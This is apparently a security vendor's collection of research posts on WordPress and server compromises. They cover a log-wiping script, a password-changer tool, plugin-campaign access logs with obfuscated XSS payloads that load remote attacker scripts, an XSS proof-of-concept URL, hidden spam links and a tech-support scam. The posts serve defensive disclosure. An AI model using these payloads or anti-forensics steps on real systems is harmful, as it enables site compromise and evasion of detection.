Clean Logs After Rooting Bash Script

During an active research investigation, we found an interesting bash script described by the author as Clean Logs After Rooting.

This script is used once an attacker has gained unauthorized root access to the server to scrub logs and prevent a website administrator from detecting such unauthorized access.

First, the script stops the server’s logging service located at /etc/init.d/rsyslog.

clean logs after root disable /etc/init.d/rsyslog

It then echos matikan system log, the word for disable in Indonesian, to notify the attacker that the service has stopped.

clean logs after root overwrite log data

After a 2 second pause, it cycles through a list of common logs located in the /var/log/ directory to see if they exist or not:

wtmp
btmp
lastlog
messages
secure
up2date
tallylog
mcelog
kernellog
cron

If the logs exist, then the script uses echo > on the log entry files to tell the system to echo empty file content, essentially overwriting all existing log data for those files.

It then accesses logs from the web server and overwrites all existing log data from those locations.

clean logs after root disable common logs

Because logging has been disabled, no additional information will be populated in any of the log locations.

The script also contains some special commands for cPanel environments. The bash terminal command chattr -ia is used to unlock the cPanel files by changing the file attributes. It also wipes data from cPanel logs used for monitoring various server activity.

clean logs after root wipe cPanel

To further prevent detection of unauthorized access, the script then clears the bash history with the history -c command.

This bash script is especially dangerous for VPS and dedicated environments, since root access is not controlled by the web host and they are typically not as hardened as shared hosting servers.

WordPress Mass Password Changer

Our team recently came across a password changer for WordPress that allows attackers to modify WordPress user passwords within a compromised environment.

wordpress mass password changer php file

By default, the tool is set to target user ID=1, which is almost always the administrative user. This tool is fairly customizable, allowing attackers to modify or target all usernames and passwords within the WordPress installation.

wordpress mass password changer user interface

To initiate a password change, the attacker defines the location of the wp-config.php file in the Config List.

When the Submit button is pressed, the script sends a POST request containing data like the username and password to the PHP file.

wordpress mass password changer success notification

The URL is then gathered from the config list provided in the interface, and pulls database information from wp-config.php to change the username and information for the profile.

The function file_get_contents2 is a custom function that grabs the data using curl and drops the changes into a pchangedlist.txt file for future reference.

Plugins added to Malware Campaign: November 2019

This is an update for the long-lasting malware campaign targeting vulnerable plugins since January. Please check our previous updates below:

Plugins Under Attack: November 2019

Although attackers focused on infecting sites via attack vectors described here, we were able to detect the same behavior aiming plugins at the very end of this month.

Plugins that are continuing to be leveraged by attackers are:

Plugin Payloads Added to the Campaign

Folders

46.101.174.128 - type=attachment&width=%3C%2Fstyle%3E%3Cscript+type%3Dtext%2Fjavascript+src%3D%27https%3A%2F%2Ftop.worldctraffic.com%2Ftop%27%3E%3C%2Fscript%3E%3Cstyle%3E [23/Nov/2019:12:19:33 +0000] "POST /wp-admin/admin-ajax.php?action=wcp_change_post_width HTTP/1.1" 

Simple Fields

46.101.174.128 - action=simple_fields_do_import&import-json=%7B%0A++++%22field_groups%22%3A+%7B%0A++++++++%221%22%3A+%7B%0A++++++++++++%22id%22%3A+1%2C%0A++++++++++++%22key%22%3A+%22test%22%2C%0A++++++++++++%22slug%22%3A+%22test%22%2C%0A++++++++++++%22name%22%3A+%22test%22%2C%0A++++++++++++%22description%22%3A+%22%22%2C%0A++++++++++++%22repeatable%22%3A+false%2C%0A++++++++++++%22fields%22%3A+%5B%5D%2C%0A++++++++++++%22fields_by_slug%22%3A+%5B%5D%2C%0A++++++++++++%22deleted%22%3A+false%2C%0A++++++++++++%22gui_view%...skipped...%22deleted%22%3A+false%2C%0A++++++++++++%22hide_editor%22%3A+false%2C%0A++++++++++++%22added_with_code%22%3A+false%2C%0A++++++++++++%22field_groups_count%22%3A+1%0A++++++++%7D%0A++++%7D%2C%0A++++%22post_type_defaults%22%3A+%5B%0A++++++++false%0A++++%5D%0A%7D&import-what=textarea&simple-fields-import-type=replace [23/Nov/2019:13:02:05 +0000] "POST /wp-admin/admin-post.php HTTP/1.1" 

Malicious Domains and IPs:

IPs:

198.12.70.83
89.238.167.46
181.58.70.192
84.237.142.110
91.215.187.211
46.101.174.128

Domains Injected:

  • https[:]//top[.]worldctraffic[.]com/cas?/java.js?t=2&

We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection to virtually patch these vulnerabilities.

Wrong content-type to XSS

WordPress Social Sharing Plugin – Sassy Social Share, which currently has over 100000 installations just fixed a Cross Site Scripting Vulnerability. This bug allows attackers to send custom links that direct unsuspecting users toward a vulnerable page. From this page, they often employ a variety of methods to trigger their proof of concept.

Let’s take a look to the patch:

+++ b/sassy-social-share.new/public/class-sassy-social-share-public.php
@@ -1511,6 +1511,7 @@ class Sassy_Social_Share_Public {
        private function ajax_response( $response ) {
                $response = apply_filters( 'heateor_sss_ajax_response_filter', $response );
+               header( 'Content-Type: application/json' );
                die( json_encode( $response ) );

        }
@@ -1540,7 +1541,7 @@ class Sassy_Social_Share_Public {
                if ( isset( $_GET['urls'] ) && count( $_GET['urls'] ) > 0 ) {
                        $target_urls = array_unique( $_GET['urls'] );
                        foreach ( $target_urls as $k => $v ) {
-                               $target_urls[$k] = esc_attr( $v );
+                               $target_urls[esc_attr( $k )] = esc_attr( $v );
                        }
                }

JSON data returned to the user didn’t have a content type defined in the function _ajaxresponse() and the default is html. This together with the following snipped allowing any authenticated user consume that endpoint makes this bug really easy for attackers to exploit:

includes/class-sassy-social-share.php
205:        add_action( 'wp_ajax_heateor_sss_sharing_count', array( $plugin_public, 'fetch_share_counts' ) );
206:        add_action( 'wp_ajax_nopriv_heateor_sss_sharing_count', array( $plugin_public, 'fetch_share_counts' ) );

Because of the nature of the bug, and due this issue was already fixed, we can share a simple PoC that shows how a malicious link abusing this vulnerability might be presented:

http://vulnerablesite.com/wp-admin/admin-ajax.php?action=heateor_sss_sharing_count&urls[<h onmouseover%3Dalert(1)>]=hola.com&urls[1]=hola2.com

If you have an old version of this plugin installed please update to the latest version (3.3.4) asap. You can add a WAF as a second layer of protection and virtually patch the vulnerability.

Plugins added to Malware Campaign: October 2019

This is an update for the long-lasting malware campaign targeting vulnerable plugins during August and September. Please check our previous updates below:

Plugins Under Attack: October 2019

Plugins that are continuing to be leveraged by attackers are:

Plugin Payloads Added to the Campaign

Blog Designer

185.238.0.214 - action=save&blog_nonce=save&custom_css=%3C%2Fstyle%3E%3Cscript+type%3Dtext%2Fjavascript+src%3D%27%26%23x64%3B%26%23x61%3B%26%23x74%3B%26%23x61%3B%26colon%3B%26%23x74%3B%26%23x65%3B%26%23x78%3B%26%23x74%3B%26sol%3B...skipped...%3B%26lpar%3B%26%23x63%3B%26rpar%3B%26semi%3B%26rcub%3B%27%3E%3C%2Fscript%3E%3Cstyle%3E&updated=true] "POST /wp-admin/admin-ajax.php HTTP/1.1"

WPeMatico RSS Feed Fetcher

159.65.65.204 - "GET /wp-admin/admin-post.php?wpematico-action=settings_tab_settings HTTP/1.1" 200 5 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" 

Smart Google Code Inserter

192.169.159.241 - action=savegooglecode&home=https://track.beforwardplay.com/track/uu?t=1&&sgcgoogleanalytic=<script type=text/javascript src='data&colon;text&sol;javascript&comma;if&lpar;document&period;head&rpar;&lcub;&Tab;var b &equals; document&semi;var c &equals; b&period;createEle&#...skipped...arCode&lpar;104&comma;101&comma;97&comma;100&rpar;&rpar;&lsqb;0&rsqb;&period;appendChild&lpar;c&rpar;&semi;&rcub;'></script>&sgcwebtools=&siteurl=https://track.beforwardplay.com/track/uu.js?t=1& "POST /wp-admin/admin-ajax.php HTTP/1.1"

Post Custom Templates Lite

192.99.38.186 - otw_pctl_action=manage_otw_pctl_options&otw_pctl_custom_css=</textarea><script type=text/javascript src='data&colon;text&sol;javascript&comma;if&lpar;document&period;head&rpar;&lcub;&Tab;var b &equals; document&semi;var&...skipped...&lpar;c&rpar;&semi;&rcub;'></script> "POST /wp-admin/admin-post.php HTTP/1.1" 

Woody Ad Snippets

162.241.149.54 - --fa51ba6a52e563a3b66864f78f10c9009cf9ed0c0018b2e8242f0db167a5\x0D\x0AContent-Disposition: form-data; name=\x22wbcr_inp_import_files\x22; filename=\x22lc.json\x22\x0D\x0AContent-Type: application/json\x0D\x0A\x0D\x0A{\x22generator\x22:\x22x\x22,\x22date_created\x22:\x22x\x22,\x22snippets\x22:[{\x22name\x22:\x22x\x22,\x22title\x22:\x22\x22,\x22content\x22:\x22x\x22,\x22location\x22:\x22header\x22,\x22type\x22:\x22php\x22,\x22filters\x22:\x22\x22,\x22changed_filters\x22:\x220\x22,\x22scope\x22:\x22everywhere\x22,\x22description\x22:\x22<script type=text/javascript src='https://cls.balantfromsun.com/cls.js?z=1&&v=2'></script>\x22,\x22attributes\x22:\x22\x22,\x22tags\x22:[]}]}\x0D\x0A--fa51ba6a52e563a3b66864f78f10c9009cf9ed0c0018b2e8242f0db167a5\x0D\x0AContent-Disposition: form-data; name=\x22swpsmtp_import_settings\x22\x0D\x0A\x0D\x0A1\x0D\x0A--fa51ba6a52e563a3b66864f78f10c9009cf9ed0c0018b2e8242f0db167a5\x0D\x0AContent-Disposition: form-data; name=\x22action\x22\x0D\x0A\x0D\x0Aswpsmtp_clear_log\x0D\x0A--fa51ba6a52e563a3b66864f78f10c9009cf9ed0c0018b2e8242f0db167a5--\x0D\x0A] "POST /wp-admin/admin-post.php HTTP/1.1"

FV Flowplayer Video Player

162.241.149.54 - action=fv_wp_flowplayer_email_signup&email=%3Csvg%2Fonload%3Deval%28String.fromCharCode%2832%2C40%2C102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C40%2C41%2C32%2C123%2C10%2C32%2C32%2C32%2C32%2C118%2C97%2C114%2C32%2C101%2C108%2C101%2C109%2C32%2C61%2C32%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C99%2C114%2C101%2C97%2C116%2C101%2C69%2C108%2C101%2C109%2C101%2C110%2C116%2C40%2C39%2C115%2C99%2C114%2C105%2C112%2C116%2C39%2C41%2C59%2C32%2C10%2C9%2C101%2C108%2C101%2C109%2C46%2C116%2C121%2C112%2C101%2C32%2C61%2C32%2C39%2C116%2C101%2C120%2C116%2C47%2C106%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%2C39%2C59%2C32%2C10%2C32%2C32%2C32%2C32%2C101%2C108%2C101%2C109%2C46%2C115%2C114%2C99%2C32%2C61%2C32%2C39%2C104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C99%2C108%2C115%2C46%2C98%2C97%2C108%2C97%2C110%2C116%2C102%2C114%2C111%2C109%2C115%2C117%2C110%2C46%2C99%2C111%2C109%2C47%2C99%2C108%2C115%2C46%2C106%2C115%2C63%2C122%2C61%2C49%2C55%2C38%2C39%2C59%2C10%2C32%2C32%2C32%2C32%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C103%2C101%2C116%2C69%2C108%2C101%2C109%2C101%2C110%2C116%2C115%2C66%2C121%2C84%2C97%2C103%2C78%2C97%2C109%2C101%2C40%2C34%2C104%2C101%2C97%2C100%2C34%2C41%2C91%2C48%2C93%2C46%2C97%2C112%2C112%2C101%2C110%2C100%2C67%2C104%2C105%2C108%2C100%2C40%2C101%2C108%2C101%2C109%2C41%2C59%2C10%2C32%2C32%2C125%2C41%2C40%2C41%2C59%29%29%3E%40test.com&list=1 [08/Oct/2019:12:54:03 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Poll, Survey, Form & Quiz Maker

50.63.162.9 -  "GET /wp-admin/admin-post.php?page=opinionstage-content-login-callback-page&email=\x22><script type=text/javascript src='https://cd.privacylocationforloc.com/track&v15'></script> HTTP/1.1"

DELUCKS SEO

167.99.232.64 - dpc%5Bbasic_metadata%5D%5Battachments%5D%5Bfollow%5D=follow&dpc%5Bbasic_metadata%5D%5Battachments%5D%5Bindex%5D=index&dpc%5Bbasic_metadata%5D%5Bcategories%5D%5B1%5D%5Bfollow%5D=follow&dpc%5Bbasic_metadata%5D%5Bcategories%5D%5B1%5D%5Bindex%5D=index&dpc%5Bbasic_metadata%5D%5Bdpc_status_basic_metadata%5D=1&dpc%5Bbasic_metadata%5D%5Ben%5D%5Barchives%5D%5Btitle%5D%5Bdelimiter%5D=-&dpc%5Bbasic_metadata%5D%5Ben%5D%5Barchives...skipped...5Bgoogle%5D=%22%3E%3Cscript+type%3Dtext%2Fjavascript+src%3D%27https%3A%2F%2Fcd.privacylocationforloc.com%2Ftrack%26v9%27%3E%3C%2Fscript%3E&dpc%5Bbasic_metadata%5D%5Bverify%5D%5Bpinterest%5D=&dpc%5Bbasic_metadata%5D%5Bverify%5D%5Byandex%5D=%22%3E%3Cscript+type%3Dtext%2Fjavascript+src%3D%27https%3A%2F%2Fcd.privacylocationforloc.com%2Ftrack%26v9%27%3E%3C%2Fscript%3E&dpc_save_settings=1 "POST /wp-admin/admin-post.php HTTP/1.1" 

Social Metrics Tracker

50.63.162.9 - gapi_client_id=%22%3E%3Cscript+type%3Dtext%2Fjavascript+src%3D%27https%3A%2F%2Fcd.privacylocationforloc.com%2Ftrack%26v5%27%3E%3C%2Fscript%3E "POST /wp-admin/admin-post.php?page=social-metrics-tracker-export&smt_download_export_file=1&section=gapi HTTP/1.1"

Malicious Domains and IPs:

IPs:

159.65.65.204
192.169.243.42
167.99.232.64
50.63.162.9
192.169.159.241
185.238.0.214
192.99.38.186
159.203.175.216
80.211.164.226
162.241.149.53
186.147.2.49

Domains Injected:

  • track[.]beforwardplay[.]com
  • cls[.]balantfromsun[.]com
  • cd[.]privacylocationforloc[.]com
  • bes[.]belaterbewasthere[.]com
  • ave[.]cervantes[.]es
  • hungthinhsg[.]com[.]vn

We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection to virtually patch these vulnerabilities.

Size for Opera: Hiding Spammy Links

There are many different tricks hackers use to make injected spam links invisible to regular visitors.

Below is an example employed by one link spam campaign, which primarily promotes porn, torrents, and pharma.

We’re finding links like these inside various HTML tags with short, random ids:

<span id="4CN8d"><a href="hxxps://youjizz[.]center">teen girls</a> busty ebony chick.</span>
….
<section id="Xwy2w"><a href="hxxps://youjizz[.]center" title="hot teens">hxxps://youjizz[.]center</a><br>
<a href="hxxps://www.thefappeninggirls[.]com">fappening 2020</a> alexa gets her cumshot.<br></section>
….
<span id="hgPdT">
                <a href="hxxp://yourbunny[.]mobi/">hxxp://yourbunny[.]mobi/</a> <br/>
        <a href="hxxp://lime-torrents[.]org">hxxp://lime-torrents[.]org</a> <br/>
        <a href="hxxp://kickasstorrente[.]net" rel="nofollow">kickass</a>
</span>

To hide the links, hackers injects scripts with misleading code.

For example, the following snippet tries to set the size of the spam link element to something entirely fictitious: size_for("Opera")

Code that hides the links

It even contains a function that counts the size. However, not only is the code unrelated to the Opera browser, it’s also erroneous because of the use of the undefined “sum” function.

This error is there “by design”. The code that invokes the size_for function is placed in the try...catch...finally block. No matter what happens in these try and catch blocks, it will always fall back to the finally section, which sets the “display” style of the element to “none”.

In another wave of link injections, this same campaign uses a combination of the following two scripts:

Two-piece spam hiding script

The first script defines the function end_(), which uses a misleadingly named function get_style() to hide the spam element. The second script is injected further in the HTML code to invoke the end_() function and conceal the spam.

At the time of writing, PublicWWW shows over a thousand websites with injected links from this campaign:

Desperate scammers

In an ideal scenario, when a scam website is found by a blacklist authority, it’s flagged as malicious and eventually taken down by the domain registrar or the web host once abuse reports have been verified.

Whenever a blacklist takes down a scam domain, it costs the scammers ample time and resources and means that they’ll need to start over. Sometimes, scammers try to social engineer their domains out of blacklistings — and sometimes they succeed!

We recently encountered such a scammer after we reviewed a domain that had requested to be removed from our blacklist.

The respondent claimed that the domain had been falsely flagged and labeled as a scam:

This email request was interesting — they claimed that other AV vendors (Avast, ESET, Kaspersky, and Fortiguard) had reviewed and removed their domain from their respective blacklists. The email body text also included correspondence between the sender and the three AV vendors.

However, when you actually read the text of the emails only one of the AV vendors actually confirmed that they removed the malicious domain from their “anti-phishing databases”. The other AV vendors said it was not blacklisted or did not reply.

A quick review of the domain brought us to this landing page:

After investigating the website, it was clear that the domain was in no way officially related to Yahoo.

Searching the toll-free phone number pulled up a recent report describing a typical tech support scam: the scammer convinces the victim to give them remote access so they can troubleshoot some problems (which may not even exist). They then offer to fix these problems for a very high fee. A separate report for the number supports this claim.

Unfortunately, these types of tech support scam websites can be rather difficult to blacklist by traditional AV companies and/or removed by the web host, or registrar. Technically, the website itself is not stealing login credentials like a phishing page, nor is it spreading malware to visitors.

The danger lies in the fact that it falsely represents itself as an official Yahoo contact, and uses this credibility indicator to convince victims to dial the phone number. Once they have the victim on the phone, it’s an entirely different story - but the website itself doesn’t look to be used for anything other than encouraging a visitor to call the listed phone number.

The blacklisted domain does mention they are not affiliated to Yahoo in their footer disclaimer, but also uses very ambiguous wording to trick consumers. It also seemingly contradicts itself by first starting they are an independent third party support for “Yahoo Mail support services”, but then goes on to say the business entity “GLS” is “[...]not affiliated with any brand or otherwise authorized by Yahoo to provide any service to Yahoo users.”:

It seems that the scammer has been able to remove themselves from any blacklists in the recent past, but we’ve kept their website blacklisted. It’s a scam, and we want to warn potential victims so they can remain safe from bad actors.

Few notes:

The cert for invalid pages (ex: hxxps://www[.]glstechserve[.]net/404) is for another domain: globalitsolutionsusa.com

This seems to be a generic web services page.

Seems like they also have hxxps://www[.]glsitsolutions[.]com as the contact page has the following contact emails:

  • support@globalitsolution[.]com
  • info@globalitsolutionsusa[.]com
  • hxxp://globalitsolutionsusa[.]com

As well as the exact same template.

The email of the page owner can be found on the contact page of glsitsolutions[.]com
(hxxps://www[.]glsitsolutions[.]com/contact-us/)

According to this forum: https://www.scammer.info/d/13594-email-support-scammer/5

There are other domains associated to the same scammer:

hxxps://www[.]email-technical-support[.]com/ - This one is offline
hxxps://www[.]glstechserve[.]net/
hxxps://www[.]assistanceforall[.]com/

Similar service: http://antivirustechnicalservice.com for malware bytes